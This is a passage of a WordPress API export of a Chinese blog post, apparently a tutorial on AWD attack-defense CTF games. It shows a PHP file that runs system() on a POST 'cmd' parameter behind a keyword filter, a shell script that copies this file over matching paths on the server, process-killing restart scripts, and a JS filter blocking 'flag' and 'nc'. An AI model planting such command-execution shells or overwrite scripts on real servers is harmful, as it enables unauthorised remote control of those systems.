$str);\n}\n\nsystem(wafrce($_POST&#91;cmd]));\n?&gt;<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u5199update.sh(\u7b2c\u4e00\u79cd\u662f\u4e00\u822c\u7684\u9ed8\u8ba4\u8def\u5f84\uff0c\u7b2c\u4e8c\u4e2a\u662f\u5168\u5c40\u641c\u7d22ttttteeeessst.php\u7136\u540e\u628a\u5b83\u4f5c\u4e3a\u8def\u5f84\u8986\u76d6\uff0c\u7b2c\u4e8c\u7b2c\u4e09\u4e4b\u6240\u4ee5\u770b\u8d77\u6765\u91cd\u590d\u4e86\uff0c\u662f\u56e0\u4e3a\u6211\u53d1\u73b0\u6839\u76ee\u5f55\u4e0b\u7684\u8bddpwd\u51fa\u6765\u662f\/\uff0c\/\/ttttteeeessst.php\u662f\u6ca1\u6cd5\u5339\u914d\u5230\u6839\u76ee\u5f55\u4e0b\u7684ttttteeeessst.php\u7684\uff0c\u5bfc\u81f4\u6587\u4ef6\u91cd\u590d\u4e86\uff0c\u800c\u5176\u4ed6\u8def\u5f84\uff0c\u6bd4\u5982\/var\/www\uff0cpwd\u51fa\u6765\u5c31\u662f\/var\/www\uff0c\u6700\u540e\u9700\u8981\u52a0\u4e00\u4e2a\/)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/bin\/bash\n\ncp ttttteeeessst.php \/var\/www\/html\/ttttteeeessst.php\n\ncp ttttteeeessst.php $(dirname `find  \/ -not -path \"\/ttttteeeessst.php\" -name 'ttttteeeessst.php' 2&gt;\/dev\/null`)\/ttttteeeessst.php\n\ncp ttttteeeessst.php $(dirname `find  \/ -not -path \"$(pwd)\/ttttteeeessst.php\" -name 'ttttteeeessst.php' 2&gt;\/dev\/null`)<\/code><\/pre>\n\n\n\n<p>\u6253\u5305\u6307\u4ee4\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>tar zcvf update.tar.gz ttttteeeessst.php update.sh<\/code><\/pre>\n\n\n\n<p>\u89e3\u538b\u6307\u4ee4\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>tar zxvf update.tar.gz<\/code><\/pre>\n\n\n\n<p>\u5e73\u53f0\u63a5\u53d7\u5230\u540e\u4f1a\u81ea\u52a8chmod 777 update.sh\u7136\u540e\u8fd0\u884c<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">python<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/bin\/sh\n\ncp \/app.py \/app\/app.py\nps -ef | grep python | grep -v grep | awk '{print $2}' | xargs kill -9 \ncd \/app &amp;&amp; nohup python app.py  &gt;&gt; \/opt\/app.log 2&gt;&amp;1 &amp;\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">JS<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/bin\/sh\n\ncp server.js \/app\/server.js\nps -ef | grep node | grep -v grep | awk '{print $2}' | xargs kill -9 \ncd \/app &amp;&amp; nohup node server.js  &gt;&gt; \/opt\/aa.log 2&gt;&amp;1 &amp;\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>function waf(query) {\n  if (query.includes(\"flag\") || query.includes(\"nc\")) {\n    throw new Error(\"\u7981\u6b62\u4f7f\u7528 flag \u548c nc \u5173\u952e\u5b57\uff01\");\n  } else {\n    \/\/ \u6267\u884c\u6b63\u5e38\u64cd\u4f5c\n  }\n}\n<\/code><\/pre>\n\n\n\n<p><a href=\"http:\/\/www.baidu.com\">testurl<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>AWD\u4e00\u822c\u6d41\u7a0b \u51c6\u5907\u5de5\u4f5c \u4ee5buuoj Basic\u91cc\u7684AWD-Test1\u4f5c\u4e3a\u4f8b\u5b50 \u9996\u5148\u4f1a\u7ed9\u6211\u4eec\u4e00\u4e2a\u8d26\u53f7\uff0c\u4f46\u8fd9\u4e2a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1948","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/1948","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=1948"}],"version-history":[{"count":12,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/1948\/revisions"}],"predecessor-version":[{"id":2146,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/1948\/revisions\/2146"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=1948"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=1948"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=1948"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}